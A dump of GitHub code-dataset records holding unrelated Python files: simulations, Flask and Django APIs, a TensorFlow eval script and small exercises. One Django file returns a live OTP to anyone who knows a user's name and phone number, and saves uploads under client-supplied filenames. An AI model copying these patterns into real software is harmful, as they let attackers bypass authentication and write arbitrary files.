np.any(U < epsilon - distance, axis = 1)\n return ind\n\ndistance =10.0 # distance(nmi)\nprint(\"Distance entre avions\")\nprint(distance)\n\nepsilon = 0.1 # Choc distance\nNsim = 10**5 # number of Monte Carlo simulations \nnpoint = 20 # numper of points in the trajectory\nTime = 20.0\n\nv=500.0/60.0 # airplane speed\nrc=1.0/57 # param\nsigmac=1.0 # param\n\n\nt = np.linspace(0.1, Time, npoint);\nmean = np.zeros((npoint,), dtype = float)\ncov = np.zeros((npoint,npoint), dtype = float)\n\n\nfor i in range(npoint):\n for j in range(npoint):\n cov[i,j] = 2 * sigmac**2 * (1-np.exp(-2*rc*v*min(t[i],t[j])/sigmac)) * np.exp(-rc*v*np.abs(t[i]-t[j])/sigmac)\n\n# Simulation des vecteurs gaussiens\nU = np.random.multivariate_normal(mean, cov, size=Nsim)\n\n\n# Monte Carlo method to calculate the probability\nind_mc = func(U, epsilon, distance)\np_emp_MC = np.mean(ind_mc)\nerreur_MC = 1.96*np.sqrt(p_emp_MC*(1-p_emp_MC)/Nsim) \nprint(\"MC estimation\")\nprint(p_emp_MC)\nprint(\"MC error\")\nprint(erreur_MC)\nprint(\"MC intervalle de confiance\")\nprint([p_emp_MC - erreur_MC, p_emp_MC + erreur_MC])\n\n\n##Importance sampling\nC = sp.sqrtm(cov)\nG = multivariate_normal.rvs(np.zeros(npoint), np.eye(npoint), size = Nsim)\nX = []\nY = []\nSi = np.linspace(-0, -distance, 20)\n\n## Look for the best decentrage (in terms of error)\nfor dec in Si:\n dec = -4\n #a = dec * np.linspace(0,1,npoint/2)\n #b = dec * np.linspace(1,0,npoint/2)\n delta = dec * np.linspace(0,1,npoint)\n #delta = np.concatenate((a,b))\n \n L = -np.dot(G, delta) - np.dot(delta.T, delta)/2 # likelyhood\n \n ech_IS = func(np.dot(G + delta,C), epsilon, distance) * np.exp(L)\n\n p_emp_IS = np.mean(ech_IS)\n \n var_emp_IS = np.var(ech_IS)\n \n erreur_emp_IS = 1.96*np.sqrt(var_emp_IS - p_emp_IS**2)/np.sqrt(Nsim)\n X.append(p_emp_IS)\n Y.append(erreur_emp_IS)\n\nA = np.asarray(Y) # erreur != 0\nB = np.asarray(X) # prob id err !=0\n\nif (np.all(A==0)):\n print(\"Importance Sampling Estimation fail\")\n print(\"No useful data to compute the probability \")\n print(\"Try using more simulations (Nsim)\")\nelse:\n i = np.argmin(A[A>0])\n p_emp_IS = B[A>0][i]\n erreur_emp_IS = A[A>0][i]\n \n print(\"mu pris\")\n print(Si[A>0][i])\n print(\"IS estimation\")\n print(p_emp_IS)\n print(\"IS error\")\n print(erreur_emp_IS)\n print(\"IS intervalle de confiance\")\n print([p_emp_IS - erreur_emp_IS, p_emp_IS + erreur_emp_IS])\n\nlow = epsilon * np.ones(npoint)\nupp = 100 * np.ones(npoint)\nmean = distance * np.ones(npoint)\np,i = mvn.mvnun(low,upp,mean,cov)\nprint(\"Real value : \")\nprint(1-p)","repo_name":"Aircollition/Aircollition","sub_path":"Python scripts/Script_13_ISsqrtm.py","file_name":"Script_13_ISsqrtm.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"26809983860","text":"s = input().lower()\nd = dict()\nfor e in s:\n if e < 'A' or e > 'z': continue\n if e in d: d[e] += 1\n else: d[e] = 1\n\nl = list()\nfor k ,v in d.items():\n l.append([-v ,k])\nl.sort()\n\nfor v ,k in l:\n print(k ,'->' ,-v)","repo_name":"NasmeenI/2110101-Com-Prog","sub_path":"Grader/08_Dict_21.py","file_name":"08_Dict_21.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29312598380","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom os import path\nimport numpy as np\nimport tensorflow.compat.v1 as tf\n\nfrom tensorflow_graphics.projects.cvxnet.lib import datasets\nfrom tensorflow_graphics.projects.cvxnet.lib import models\nfrom tensorflow_graphics.projects.cvxnet.lib import utils\n\ntf.disable_eager_execution()\n\nflags = tf.app.flags\nlogging = tf.logging\ntf.logging.set_verbosity(tf.logging.INFO)\n\nutils.define_flags()\nFLAGS = flags.FLAGS\n\n\ndef main(unused_argv):\n tf.set_random_seed(2191997)\n np.random.seed(6281996)\n\n logging.info('=> Starting ...')\n eval_dir = path.join(FLAGS.train_dir, 'eval')\n\n # Select dataset.\n logging.info('=> Preparing datasets ...')\n data = datasets.get_dataset(FLAGS.dataset, 'test', FLAGS)\n batch = tf.data.make_one_shot_iterator(data).get_next()\n\n # Select model.\n logging.info('=> Creating {} model'.format(FLAGS.model))\n model = models.get_model(FLAGS.model, FLAGS)\n\n # Set up the graph\n global_step = tf.train.get_or_create_global_step()\n test_loss, test_iou = model.compute_loss(batch, training=False)\n if FLAGS.extract_mesh or FLAGS.surface_metrics:\n img_ch = 3 if FLAGS.image_input else FLAGS.depth_d\n input_holder = tf.placeholder(tf.float32, [None, 224, 224, img_ch])\n params = model.encode(input_holder, training=False)\n params_holder = tf.placeholder(tf.float32, [None, model.n_params])\n points_holder = tf.placeholder(tf.float32, [None, None, FLAGS.dims])\n indicators, unused_var = model.decode(\n params_holder, points_holder, training=False)\n if (not FLAGS.extract_mesh) or (not FLAGS.surface_metrics):\n summary_writer = tf.summary.FileWriter(eval_dir)\n iou_holder = tf.placeholder(tf.float32)\n iou_summary = tf.summary.scalar('test_iou', iou_holder)\n\n logging.info('=> Evaluating ...')\n last_step = -1\n while True:\n shapenet_stats = utils.init_stats()\n with tf.train.MonitoredTrainingSession(\n checkpoint_dir=FLAGS.train_dir,\n hooks=[],\n save_checkpoint_steps=None,\n save_checkpoint_secs=None,\n save_summaries_steps=None,\n save_summaries_secs=None,\n log_step_count_steps=None,\n max_wait_secs=3600) as mon_sess:\n step_val = mon_sess.run(global_step)\n if step_val <= last_step:\n continue\n else:\n last_step = step_val\n while not mon_sess.should_stop():\n batch_val, unused_var, test_iou_val = mon_sess.run(\n [batch, test_loss, test_iou])\n if FLAGS.extract_mesh or FLAGS.surface_metrics:\n if FLAGS.image_input:\n input_val = batch_val['image']\n else:\n input_val = batch_val['depth']\n mesh = utils.extract_mesh(\n input_val,\n params,\n indicators,\n input_holder,\n params_holder,\n points_holder,\n mon_sess,\n FLAGS,\n )\n if FLAGS.trans_dir is not None:\n utils.transform_mesh(mesh, batch_val['name'], FLAGS.trans_dir)\n if FLAGS.extract_mesh:\n utils.save_mesh(mesh, batch_val['name'], eval_dir)\n if FLAGS.surface_metrics:\n chamfer, fscore = utils.compute_surface_metrics(\n mesh, batch_val['name'], FLAGS.mesh_dir)\n else:\n chamfer = fscore = 0.\n example_stats = utils.Stats(\n iou=test_iou_val[0], chamfer=chamfer, fscore=fscore)\n utils.update_stats(example_stats, batch_val['name'], shapenet_stats)\n utils.average_stats(shapenet_stats)\n if (not FLAGS.extract_mesh) and (not FLAGS.surface_metrics):\n with tf.Session() as sess:\n iou_summary_val = sess.run(\n iou_summary, feed_dict={iou_holder: shapenet_stats['all']['iou']})\n summary_writer.add_summary(iou_summary_val, step_val)\n summary_writer.flush()\n if FLAGS.surface_metrics:\n utils.write_stats(\n shapenet_stats,\n eval_dir,\n step_val,\n )\n if FLAGS.eval_once or step_val >= FLAGS.max_steps:\n break\n\n\nif __name__ == '__main__':\n tf.app.run(main)\n","repo_name":"tensorflow/graphics","sub_path":"tensorflow_graphics/projects/cvxnet/eval.py","file_name":"eval.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":2734,"dataset":"github-code","pt":"75"} +{"seq_id":"39859227514","text":"from botXsrc.botXexport import botXexport\nimport time\nimport base64, array\n\"\"\"\nbotXexport is a dictionary containing all the reusable components you\ndeveloped for the project, and you will use them in the main program.\n\"\"\"\ndef main():\n print('starting app ...')\n gz = botXexport['gazebo_api']['module']()\n gz.setup()\n\n im = gz.get_json_image()\n print(\"JSON Image keys: \", im[0].keys())\n print(\"JSON Imade encoding: \", im[0]['encoding'])\n print(\"JSON Image: \", bytearray(im[0]['data']))\n # time.sleep(5)\n # images = gz.get_image()\n # print(\"Images: \", images)\n\n # print (gz.get_environment_status())\n # time.sleep(5)\n # print (gz.get_environment_status())\n\n # Spend 2s bagging vision data (results in about 1.4s of actual bagged data)\n # gz.bag_vision(2)\n\n # Save an image\n # gz.get_image()\n\n # print(\"shutting down app...\")\n # gz.shutdown()\n\n\"\"\"\nThis is the only script that should be running from terminal so that the\nprogram can gather modules correctly, so we need to specify main as entry point.\n\"\"\"\nif __name__ == '__main__':\n main()\n","repo_name":"superbotx/gazebo_api","sub_path":"botXapp.py","file_name":"botXapp.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"22479414658","text":"from itertools import count\nfrom wsgiref.util import request_uri\nfrom flask import Flask\nfrom flask import request\nfrom flask import jsonify\nfrom peewee import *\n\nfrom playhouse.shortcuts import model_to_dict, dict_to_model\n\ndb = PostgresqlDatabase('medal', user='postgres',\n password='', host='localhost', port=5432)\n\n\nclass BaseModel(Model):\n class Meta:\n database = db\n\n\nclass Athlete(BaseModel):\n name = CharField()\n event = CharField()\n location = CharField()\n olympic_year = IntegerField()\n other_finishers = CharField()\n score = IntegerField()\n nationality = CharField()\n age = IntegerField()\n total_gold_medal_count = IntegerField()\n\n\ndb.connect()\ndb.drop_tables([Athlete])\ndb.create_tables([Athlete])\n\nmichelPhelps = Athlete(\n name='Michael Phelps',\n event='200m Butterfly',\n location='Athens',\n olympic_year=2004,\n other_finishers='Takashi Yamamoto and Stephen Parry',\n score=1.54,\n nationality='American',\n age=19,\n total_gold_medal_count=23).save()\nusainBolt = Athlete(\n name='Usain Bolt',\n event='100m',\n location='Bejing',\n olympic_year=2008,\n other_finishers='Richard Thompson and Walter Dix',\n score=9.69,\n nationality='Jamaican',\n age=22,\n total_gold_medal_count=8).save()\nJesseOwens = Athlete(\n name='Jesse Owens',\n event='200m',\n location='Berlin',\n olympic_year=1936,\n other_finishers='Mack Robinson and Tinus Osendarp',\n score=20.3,\n nationality='American',\n age=22,\n total_gold_medal_count=4).save()\ngabbyDouglas = Athlete(\n name='Gabby Douglas',\n event='Individual all-around',\n location='London',\n olympic_year=2012,\n other_finishers='Viktoria Komova and Aliya Mustafina',\n score=62.232,\n nationality='American',\n age=16,\n total_gold_medal_count=3).save()\ncarlLewis = Athlete(\n name='Carl Lewis',\n event='Long Jump',\n location='Los Angeles',\n olympic_year=1984,\n other_finishers='Gary Honey and Giovanni Evangelisti',\n score=8.54,\n nationality='American',\n age=23,\n total_gold_medal_count=9).save()\nkatieLedecky = Athlete(\n name='Katie Ledecky',\n event='800m Freestyle',\n location='London',\n olympic_year=2012,\n other_finishers='Mireia Belmonte García\tand Rebecca Adlington',\n score=8.14,\n nationality='American',\n age=15,\n total_gold_medal_count=7).save()\nusaBasketball = Athlete(\n name='USA Basketball',\n event='Basketball',\n location='Bejing',\n olympic_year=2008,\n other_finishers='Spain and Argentina',\n score=8-0,\n nationality='American',\n age=1776,\n total_gold_medal_count=25).save()\nmarkSpitz = Athlete(\n name='Mark Spitz',\n event='100m Freestyle',\n location='Munich',\n olympic_year=1972,\n other_finishers='Jerry heidenreich and Vladmir Bure',\n score=51.22,\n nationality='American',\n age=22,\n total_gold_medal_count=9).save()\nkurtAngle = Athlete(\n name='Kurt Angle',\n event='Wrestling 100kg',\n location='Atlanta',\n olympic_year=1996,\n other_finishers='Abbas Jadidi and Arawat Sabejew',\n score=2-1,\n nationality='American',\n age=22,\n total_gold_medal_count=1).save()\n\n\napp = Flask(__name__)\n\n\n@app.route('/athlete', methods=['GET', 'PUT', 'POST', 'DELETE'])\n@app.route('/athlete/', methods=['GET', 'PUT', 'POST', 'DELETE'])\ndef athlete(id=None):\n if request.method == 'GET':\n\n if id:\n athlete = Athlete.get(Athlete.id == id)\n athlete = model_to_dict(athlete)\n athlete = jsonify(athlete)\n return athlete\n\n else:\n athletes = []\n for athlete in Athlete.select():\n athlete = model_to_dict(athlete)\n athletes.append(athlete)\n athletes = jsonify(athletes)\n return athletes\n\n if request.method == 'POST':\n athlete = request.get_json()\n athlete = dict_to_model(Athlete, athlete)\n athlete.save()\n athlete = model_to_dict(athlete)\n athlete = jsonify(athlete)\n return athlete\n\n if request.method == 'PUT':\n updated_athlete = request.get_json()\n athlete = Athlete.get(Athlete.id == id)\n athlete.name = updated_athlete['name']\n athlete.event = updated_athlete['event']\n athlete.location = updated_athlete['location']\n athlete.other_finishers = updated_athlete['opponents']\n athlete.score = updated_athlete['score']\n athlete.nationailty = updated_athlete['nationailty']\n athlete.age = updated_athlete['age']\n athlete.total_gold_medal_count = updated_athlete['total metal count']\n\n if request.method == 'DELETE':\n athlete = Athlete.get(Athlete.id == id)\n athlete.delete_instance()\n return jsonify({\"deleted\": True})\n\n\n@app.route('/')\ndef index():\n return \"Hello! Welcome to the gold medalist API! Conntinue to localhost:9000/athlete\"\n\n\napp.run(port=9000, debug=True)\n","repo_name":"Lavell25/Gold-Medalist-API","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"3725522905","text":"from django.shortcuts import render, redirect, reverse\nfrom django.contrib import messages\nfrom .forms import RegistrationForm\nfrom django.views import View\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import login, authenticate\nfrom django.contrib.auth.models import User\nfrom .models import UserAdditionalInfo\nfrom .context_processors import user_additional_info\nfrom django.core.files.storage import default_storage\nfrom django.core.files.base import ContentFile\nfrom django.core.files.storage import FileSystemStorage\n\n\n# @login_required(login_url='/')\ndef Demo(request):\n return render(request, \"pages/demo.html\")\n\n\nclass RegistrationView(View):\n def get(self, request):\n if request.method == 'POST':\n return redirect('login')\n form = RegistrationForm()\n context = {'form': form}\n return render(request, 'pages/login/sign_up.html', context)\n\n def post(self, request):\n form = RegistrationForm(request.POST)\n if form.is_valid():\n form.save()\n username = form.cleaned_data.get('username')\n password = form.cleaned_data.get('password1')\n user = authenticate(username=username, password=password)\n login(request, user)\n messages.success(request, \"User Creation Successful !!\")\n return redirect('login')\n else:\n messages.error(request, \"Something Went Wrong\")\n return render(request, 'pages/login/sign_up.html', {'form': form})\n\n\n@login_required(login_url='/')\ndef UserProfile(request, user):\n # userinfo = UserAdditionalInfo.objects.get(username=user)\n return render(request, \"pages/user_profile.html\")\n\n\n@login_required(login_url='/')\ndef EditUserProfile(request, user_id, username):\n if request.method == 'POST':\n user = User.objects.get(id=user_id)\n user.first_name = request.POST.get('first_name')\n user.last_name = request.POST.get('last_name')\n user.email = request.POST.get('email')\n user.save()\n useradditional = UserAdditionalInfo.objects.get(username=username)\n useradditional.username = request.POST.get('username')\n useradditional.contact_no = request.POST.get('contact')\n useradditional.user_role = request.POST.get('user_role')\n useradditional.profession = request.POST.get('profession')\n useradditional.social_link = request.POST.get('social_link')\n if 'pro_pic' in request.FILES:\n useradditional.profile_picture = request.FILES['pro_pic']\n useradditional.save()\n messages.success(request, \"User Profile Updated Successfully !\")\n return redirect(reverse('user_profile', args=[user.username]))\n\n\n@login_required(login_url='/')\ndef AddUserAdditionalInfo(request, user_id, user):\n if request.method == 'POST':\n user = User.objects.get(id=user_id)\n user.first_name = request.POST.get('first_name')\n user.last_name = request.POST.get('last_name')\n user.email = request.POST.get('email')\n user.save()\n additionalinfo = UserAdditionalInfo()\n additionalinfo.username = user\n additionalinfo.user_full_name = user\n additionalinfo.contact_no = request.POST.get('contact')\n additionalinfo.user_role = request.POST.get('user_role')\n additionalinfo.profession = request.POST.get('profession')\n additionalinfo.social_link = request.POST.get('social_link')\n if 'pro_pic' in request.FILES:\n additionalinfo.profile_picture = request.FILES['pro_pic']\n additionalinfo.save()\n messages.success(request, \"User Additional Info Added Successfully !\")\n return redirect(reverse('user_profile', args=[user.username]))\n\n","repo_name":"shahriarnasif/bs23-lms","sub_path":"account/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3765,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30810947144","text":"from CVisitor import CVisitor\nfrom CParser import CParser\n\n\n\n\n\nclass MyHelper(CVisitor):\n\n def __init__(self, parser):\n self.parser = parser\n self.temp = set()\n self.functionDict = dict()\n self.defset={}\n self.useset={}\n\n def visitInitDeclarator(self, ctx:CParser.InitDeclaratorContext):\n return self.visitChildren(ctx)\n\n\n def getRuleName(self, ctx):\n if ctx == None:\n return ''\n if ctx.getChildCount() == 0:\n return ''\n s = str(ctx.toStringTree(recog=self.parser))\n #print(s)\n n = len(s)\n i = 0\n while not(s[i] == '('):\n i = i+1\n j = i+1\n while not(s[j] == ' '):\n j = j+1\n return s[i+1:j]\n\n def getVariableSet(self, ctx):\n res = self.generateRHS(ctx)\n res = res.union(self.generateLHS(ctx))\n #print(res)\n #input(\"wait\")\n return res\n \n \n \n def isAssignEq(self, ctx):\n ruleName = self.getRuleName(ctx)\n # print(ruleName)\n\n assignEqSet = {\"declaration\", \"expression\"}\n if ruleName in assignEqSet:\n return True\n else:\n return False\n\n\n\n def generateRHS(self, ctx):\n res = []\n ruleName = self.getRuleName(ctx)\n if ruleName == \"expression\":\n if ctx.children[0].getChildCount()==3:\n res.append(ctx.children[0].children[2].getText())\n\n return res\n\n\n \n \n def generateLHS(self, ctx):\n if not(self.isAssignEq(ctx)):\n return []\n else:\n res = []\n temp_ctx = ctx\n ruleName = self.getRuleName(ctx)\n if ruleName==\"declaration\":\n if ctx.children[1].children[0].getChildCount()==3:\n res.append(ctx.children[1].children[0].children[0].getText())\n\n\n\n if ruleName==\"expression\":\n if ctx.getChildCount()==1:\n if ctx.children[0].getChildCount()==3:\n res.append(ctx.children[0].children[0].getText())\n else:\n\n res.append(ctx.children[2].children[0].getText())\n res.append(ctx.children[0].children[0].children[0].getText())\n\n return res\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"YashPalriwal/ML-Slicer","sub_path":"SourceCode/gen/Chelper.py","file_name":"Chelper.py","file_ext":"py","file_size_in_byte":2387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"172234504","text":"from django.http import HttpResponseRedirect\nfrom django.core.paginator import Paginator\nfrom django.shortcuts import render\nfrom django.views import generic\nfrom django.http import Http404\nfrom movies.models import Movie\n\nfrom .forms import TitleForm, GenresForm\n\ndef index(request):\n \"\"\"\n Initial page with number of movies\n and links.\n \"\"\"\n\n # Count number of movies\n num_movies = Movie.objects.all().count()\n\n context = {\n \"num_movies\": num_movies\n }\n\n return render(request, \"index.html\", context=context)\n\nclass MovieListView(generic.ListView):\n \"\"\"\n Get list with all movies using class\n \"\"\"\n\n only_fields = [\"movieId\", \"title\", \"year\"]\n\n model = Movie\n template_name = \"movies_list.html\"\n context_object_name = \"movies\"\n queryset = Movie.objects.only(*only_fields)\n paginate_by = 15\n\ndef get_movies(request):\n \"\"\"\n Get list with all movies using function\n \"\"\"\n\n only_fields = [\"movieId\", \"title\", \"year\"]\n movies = Movie.objects.only(*only_fields)\n\n paginator = Paginator(movies, 10)\n page_number = request.GET.get(\"page\")\n page_obj = paginator.get_page(page_number)\n\n context = {\n \"movies\": movies,\n \"page_obj\": page_obj\n }\n\n return render(request, \"movies_list.html\", context=context)\n\ndef movie_detail(request, movieId):\n \"\"\"\n Get movie details\n \"\"\"\n\n try:\n pipeline = [\n {\"$match\" : {\"movieId\" : movieId}},\n {\"$project\": {\"_id\": 0, \"movieId\": 1,\n \"title\": 1, \"year\": 1,\n \"genres\": 1, \"imdbId\": 1,\n \"tmdbId\": 1,\n \"rating_average\": {\"$avg\": \"$ratings.rating\"},\n \"most_relevant_tag\": {\n \"$arrayElemAt\": [\n \"$genome_tags.tag\",\n {\n \"$indexOfArray\": [\n \"$genome_tags.relevance\",\n { \"$max\": \"$genome_tags.relevance\" }\n ]\n }\n ]\n }\n }\n }\n ]\n\n\n movie = Movie.objects.aggregate(pipeline)\n movie = movie.next()\n except Movie.DoesNotExist:\n raise Http404(\"Movie does not exist\")\n\n context = {\n \"movie\": movie\n }\n\n return render(request, \"movie_detail.html\", context=context)\n\ndef get_movies_by_title(request):\n \"\"\"\n Get movies by title\n \"\"\"\n\n if request.method == \"POST\":\n\n form = TitleForm(request.POST)\n search_title = form[\"search_title\"].value()\n\n only_fields = [\"movieId\", \"title\", \"year\"]\n movies = Movie.objects(title__icontains=search_title).only(*only_fields)\n\n else:\n form = TitleForm()\n\n context = {\n \"movies\": movies\n }\n\n return render(request, \"movies_list.html\", context=context)\n\ndef movies_by_genre(request):\n \"\"\"\n Movies top 10 by genre\n \"\"\"\n\n form = GenresForm(request.POST)\n genre_choose = form[\"genre_choose\"].value()\n\n genres = Movie.objects.distinct(\"genres\")\n\n if genre_choose is None:\n genre = \"\"\n else:\n genre = genre_choose\n\n pipeline = [\n {\"$match\" : {\"genres\" : genre}},\n {\"$project\": {\"_id\": 0, \"movieId\": 1,\n \"title\": 1, \"year\": 1,\n \"rating_average\": {\"$avg\": \"$ratings.rating\"}\n }\n },\n {\"$sort\": {\"rating_average\": -1}},\n {\"$limit\": 10}\n ]\n\n\n movies = Movie.objects.aggregate(pipeline)\n\n context = {\n \"movies\": movies,\n \"genres\": genres\n }\n\n return render(request, \"movies_list.html\", context=context)\n","repo_name":"RomuloAS/MovieLens","sub_path":"Movies_Project/movies/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3951,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"28679888786","text":"def is_prime(num):\n up_to = int(num**0.5)\n \n if num % 2 == 0:\n return False\n \n for i in range(3, up_to, 2):\n if num % i == 0:\n return False\n return True\n\n\ndef first_factor(num):\n \"\"\" assumes num is composite \"\"\"\n for i in range(2, num):\n if num % i == 0:\n return i\n\ndef increment_coin(coin_str):\n b10_int = int(\"0b\"+coin_str, 2)\n b10_int += 1\n return bin(b10_int)[2:]\n\n\ndef coin_str_to_base(coin, base):\n int_result = 0\n index = 0\n for char in reversed(coin):\n if char == '1':\n int_result += (base ** index)\n index += 1\n return int_result\n\n\ndef solve(infile, outfile):\n infile.readline() #reads 1 (there will always be 1 test case)\n coin_length, target = [int(i) for i in infile.readline().strip(\"\\n\").split()]\n \n coin = \"1\" + \"0\"*(coin_length - 2) + \"1\"\n valid_coins = []\n \n while target:\n is_valid_coin = True\n for base in range(2, 11):\n if is_valid_coin:\n if is_prime(coin_str_to_base(coin, base)):\n is_valid_coin = False\n if is_valid_coin:\n valid_coins.append(coin)\n target -= 1\n coin = increment_coin(coin)\n while coin[-1] == '0':\n coin = increment_coin(coin)\n \n outfile.write(\"Case #1:\\n\")\n for c in valid_coins:\n to_print = c\n for b in range(2, 11):\n base_num = coin_str_to_base(c, b)\n to_print += \" \" + str(first_factor(base_num))\n outfile.write(to_print+\"\\n\")\n\n\nif __name__ == '__main__':\n \n path = 'Data/'\n name='C_test'\n #name='C-small-attempt-0'\n #name='C-large'\n \n infile = open(path+name+'.in', 'r')\n outfile = open(path+name+'.out','w')\n \n solve(infile, outfile)\n infile.close()\n outfile.close()","repo_name":"DaHuO/Supergraph","sub_path":"codes/CodeJamCrawler/16_0_3_neat/16_0_3_a_deacon_C_v2.py","file_name":"16_0_3_a_deacon_C_v2.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"12832461265","text":"from django.shortcuts import render\nfrom django.http import HttpResponse, JsonResponse\nfrom rest_framework.parsers import JSONParser, MultiPartParser, FormParser\nfrom rest_framework.views import APIView\nfrom rest_framework.decorators import api_view\nfrom django.views.decorators.csrf import csrf_exempt\nfrom .models import User\nfrom .serializers import Userserializer, imgserializer\nimport pyotp\nimport subprocess\nimport os\nfrom django.http.request import QueryDict\nimport numpy as np\nimport sys\nfrom rest_framework.response import Response\nfrom rest_framework.renderers import JSONRenderer\n# Create your views here.\n\n@api_view(['GET','POST'])\ndef register_1(request):\n if request.method =='POST':\n data = JSONParser().parse(request)\n # request.POST.get('title', '')\n serializer = Userserializer(data=data)\n if serializer.is_valid():\n print(serializer.data)\n tt = serializer.get_user(serializer.data)\n if tt == \"승인\":\n return JsonResponse({\"message\": \"사용\"})\n else:\n return JsonResponse({\"message\": \"중복\"})\n return JsonResponse(serializer.errors, status=400)\n\n@api_view(['GET', 'POST'])\ndef img(request):\n if request.method == 'POST':\n data = JSONParser().parse(request)\n file = open('output1.txt','a')\n file.write(data['img'])\n file.close()\n serializer = imgserializer(data=data)\n\n\n if serializer.is_valid():\n print(serializer.data, \"★★★serializer.data★★★\")\n img_byte = serializer.data['img']\n file = open('output2.txt','a')\n file.write(img_byte)\n file.close()\n\n\n return JsonResponse({'message': '받음'})\n return JsonResponse({'message': \"없음\"})\n\ndef rechargeapplication(request):\n if request.method == 'POST':\n img =request.get()\n print(img)\n uploadpic = request.FILES['filename']\n img.picture.save(\"image.jpg\", uploadpic)\n img.save()\n return JsonResponse({'result': 'Success'})\n\n@api_view(['GET','POST'])\ndef register(request):\n\n if request.method == 'GET':\n phone=request.GET.get('phone', \"\")\n query_set=User.objects.filter(phone=phone)\n if not query_set:\n return JsonResponse({'message':'사용'})\n else:\n return JsonResponse({'message':'중복'})\n\n\n\n elif request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = Userserializer(data=data)\n if serializer.is_valid():\n tt=serializer.get_user(serializer.data)\n print(serializer.data)\n if len(serializer.data['phone']) == 11:\n if tt == '승인':\n serializer.create(data)\n return JsonResponse({\"message\":\"등록 성공\"}, status=201)\n else:\n return JsonResponse({\"message\":\"중복\"})\n else:\n return JsonResponse({\"message\":\"전화번호 자리 수가 맞지 않습니다.\"})\n return JsonResponse(serializer.errors, status=400)\n\n\n@api_view(['GET', 'POST'])\ndef otp_r(request):\n if request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = Userserializer(data=data)\n if serializer.is_valid():\n print(serializer.data)\n query_set = User.objects.get(user_name=serializer.data['user_name'], phone=serializer.data['phone'])\n totp = pyotp.TOTP(query_set.otp_id, interval=180)\n return JsonResponse({'otp': totp.now()})\n return JsonResponse(serializer.errors, status=400)\n\n\n@api_view(['GET', 'POST'])\ndef otp_t(request):\n if request.method == 'GET':\n data = JSONParser().parse(request)\n serializer = Userserializer(data=data)\n if serializer.is_valid():\n query_set = User.objects.get(user_name=serializer.data['user_name'], phone=serializer.data['phone'])\n totp = pyotp.TOTP(query_set.otp_id, interval=180)\n return JsonResponse({'otp': totp.now()})\n return JsonResponse(serializer.errors, status=400)\n\n elif request.method == 'POST':\n data = JSONParser().parse(request)\n serializer = Userserializer(data=data)\n\n if serializer.is_valid():\n query_set=User.objects.get(user_name = serializer.data['user_name'], phone = serializer.data['phone'])\n totp = pyotp.TOTP(query_set.otp_id, interval=180)\n print(totp.now())\n print(serializer.data)\n if totp.now() == serializer.data['otp_id']:\n print('승인')\n return JsonResponse({\"message\": \"승인\"})\n else:\n print('거부')\n return JsonResponse({\"message\": \"거부\"})\n\n\nclass FileView(APIView):\n parser_classes = (MultiPartParser, FormParser)\n\n def post(self, req, *args, **kwargs):\n file_name=str(req.data.get('upload'))\n file_object=req.data.get('upload')\n video_path = 'C:/Users/Playdata/PycharmProjects/restfulapi/restfulapiserver/addresses/train_data/' + file_name\n\n with open(video_path, 'wb+') as f:\n for chunk in file_object.chunks():\n f.write(chunk)\n #\n # cmd_authorization = ['python3', 'main2.py', video_path ]\n # fd_popen = subprocess.Popen(cmd_authorization, stdout=subprocess.PIPE).stdout\n # fd_popen.read().strip()\n # fd_popen.close()\n\n return JsonResponse({\"message\": 'success'})","repo_name":"ghkdwjdgk123/fulfulrestfulapi","sub_path":"restfulapiserver/addresses/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"25701453619","text":"import none as none\r\nimport requests as requests\r\nfrom bs4 import BeautifulSoup\r\n\"\"\"\r\nmethod = fungsi\r\nfield / attribute = variabel\r\nconstructor = method pertama kali yang dipanggil saat object diciptakan . gunakan untuk \r\n mendeklarasiakn semua field pada kelas ini\r\n\"\"\"\r\n\r\nclass Bencana:\r\n def __init__(self, url, description):\r\n self.description = description\r\n self.result = None\r\n self.url = url\r\n def scrapping_data(self):\r\n pass\r\n def tampilkan_data(self):\r\n pass\r\n def keterangan(self):\r\n print(self.description)\r\n def run(self):\r\n self.scrapping_data()\r\n self.tampilkan_data()\r\n\r\n\r\n\r\nclass GempaTerkini(Bencana):\r\n def __init__(self, url):\r\n super(GempaTerkini, self).__init__(url, \"to get latest information of earthquake in indonesian from BMKG.go.id \")\r\n def scrapping_data(self):\r\n\r\n\r\n try:\r\n r = requests.get(self.url)\r\n except Exception:\r\n return None\r\n if r.status_code == 200 :\r\n # print(r.text)\r\n # print(r.status_code)\r\n\r\n soup = BeautifulSoup(r.text,'html.parser')\r\n\r\n result = soup.findChild('ul', {'class':'list-unstyled'})\r\n result = result.findChildren('li')\r\n print(f'============ list pencaian : ==============\\n')\r\n j = 